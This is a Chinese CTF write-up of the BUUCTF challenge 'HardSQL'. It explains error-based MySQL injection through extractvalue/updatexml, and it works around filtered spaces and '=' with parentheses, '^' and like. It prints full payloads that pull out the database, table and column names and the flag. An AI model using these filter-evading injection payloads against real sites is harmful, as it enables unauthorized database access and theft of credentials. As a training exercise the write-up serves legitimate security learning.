[极客大挑战 2019]HardSQL 1

2021/10/18 2:10:27

本文主要是介绍[极客大挑战 2019]HardSQL 1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.发现

1.1打开题目地址提示为SQL注入,随便输入1/'/"/,

 

 

 

 

 

 

 

 

 发现单引号有报错,双引号没有,没提示有括号,

所以应该是普通单引号闭合的字符型注入点

 2.输入' or '1'='1/  1' and '1'='1

 

 

 发现没有报错,提示相同

出现这行字说明输入的被过滤,一个字符一个字符测试,

发现如and/空格/union/select/=//**/等都被过滤了。

最后,我们发现这道题是xpath报错注入,函数注入

知识点

1)报错函数注入

extractvalue(1,concat(07xe,执行语句))
updatexml(1,concat(07xe,执行语句),1)

extractvalue()
extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第一个参数 :   第一个参数可以传入目标xml文档

第二个参数: xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

      正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

tip: 还有要注意的地方是,它能够查询的字符串长度最大是32个字符,如果超过32位,我们就需要用函数来查询,比如right(),left(),substr()来截取字符串

再举个栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 这个语句就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

2)concat函数

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

3)用’^'来连接函数,形成异或

2.步骤

2.1我们先去爆数据库:先构造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

 

 

 

 2.2然后,我们再payload爆表名,但是这里把等于号给我们过滤了,

不过我们还有骚操作like用法

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

 

 

 

 2.3 爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

 

 

 

 2.4爆数据把password查出来

 

 

2.5 flag出来了,不对好像只有一半,使用{left(),right()}

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

 

知识点

1){left(),right()}函数

 3.借鉴

BUUCTF-[极客大挑战 2019]HardSQL 1详解 - 爱码网 (likecs.com)

(30条消息) BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1_菜鸟之路 -CSDN博客

BUUCTF-[极客大挑战 2019]HardSQL 记录 - 简书 (jianshu.com)

(30条消息) CTF-Web-[极客大挑战 2019]HardSQL_归子莫的博客-CSDN博客



这篇关于[极客大挑战 2019]HardSQL 1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程